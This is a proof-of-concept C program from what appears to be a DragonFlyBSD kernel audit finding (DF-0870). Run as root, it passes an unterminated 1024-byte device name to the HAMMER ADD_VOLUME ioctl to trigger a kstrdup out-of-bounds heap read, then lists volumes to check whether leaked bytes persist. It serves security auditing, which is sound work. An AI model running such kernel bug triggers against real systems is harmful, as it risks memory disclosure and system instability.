DragonFlyBSD Kernel Audit
DF-0870 / poc_root.c
← back to finding ↓ download raw
/*
 * DF-0870 root-side test: try ADD_VOLUME with non-NUL-terminated device_name
 * to determine if the kstrdup OOB read can ever PERSIST into volume->vol_name
 * (and thus be recoverable via LIST_VOLUMES).  Run as root.
 *
 * Theory: device_name = 1024 non-NUL bytes -> kstrdup at hammer_ondisk.c:131
 * strlen-walks past the buffer, captures OOB heap bytes into vol_name.  But
 * install then fails because the captured string (1024 'A's + leaked bytes)
 * is not a valid device path.  hammer_free_volume() kfree's vol_name, so the
 * leak never persists.  This program confirms that.
 */
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/param.h>
#include <vfs/hammer/hammer_ioctl.h>

int main(int argc, char **argv)
{
    const char *path = argc > 1 ? argv[1] : "/mnt/hammer/testfile";
    int fd, rc;
    struct hammer_ioc_volume v;

    printf("== root uid=%d opening %s\n", getuid(), path);
    fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* Set up a struct that WOULD be valid for adding a 2nd volume, except
     * device_name is filled with non-NUL bytes so kstrdup walks past. */
    memset(&v, 0, sizeof(v));
    memset(v.device_name, 'X', MAXPATHLEN);   /* 1024 non-NUL bytes */
    v.vol_size        = 1LL << 31;            /* 2 GB - reasonable vol size */
    v.boot_area_size  = 0;
    v.memory_log_size = 0;

    errno = 0;
    rc = ioctl(fd, HAMMERIOC_ADD_VOLUME, &v);
    printf("HAMMERIOC_ADD_VOLUME (non-NUL device_name): rc=%d errno=%d (%s)\n",
           rc, errno, strerror(errno));
    if (rc == 0)
        printf("!!! UNEXPECTED: install succeeded with leaked name -- "
               "volume->vol_name would contain heap bytes!\n");
    else
        printf("As expected: install failed -- kstrdup-captured leaked name "
               "is not a valid path; vol_name freed.\n");

    /* Also list volumes to confirm no leaky vol_name was added. */
    {
        struct hammer_ioc_volume_list vl;
        struct hammer_ioc_volume outbuf[8];
        memset(&vl, 0, sizeof(vl));
        memset(outbuf, 0xee, sizeof(outbuf));
        vl.vols = outbuf;
        vl.nvols = 8;
        errno = 0;
        rc = ioctl(fd, HAMMERIOC_LIST_VOLUMES, &vl);
        printf("LIST_VOLUMES after failed ADD: rc=%d errno=%d nvols=%d\n",
               rc, errno, vl.nvols);
        for (int i = 0; i < vl.nvols; i++)
            printf("  [%d] vol_no=%d device_name='%s' len=%zu\n",
                   i, outbuf[i].vol_no, outbuf[i].device_name,
                   strnlen(outbuf[i].device_name, sizeof(outbuf[i].device_name)));
    }
    close(fd);
    return 0;
}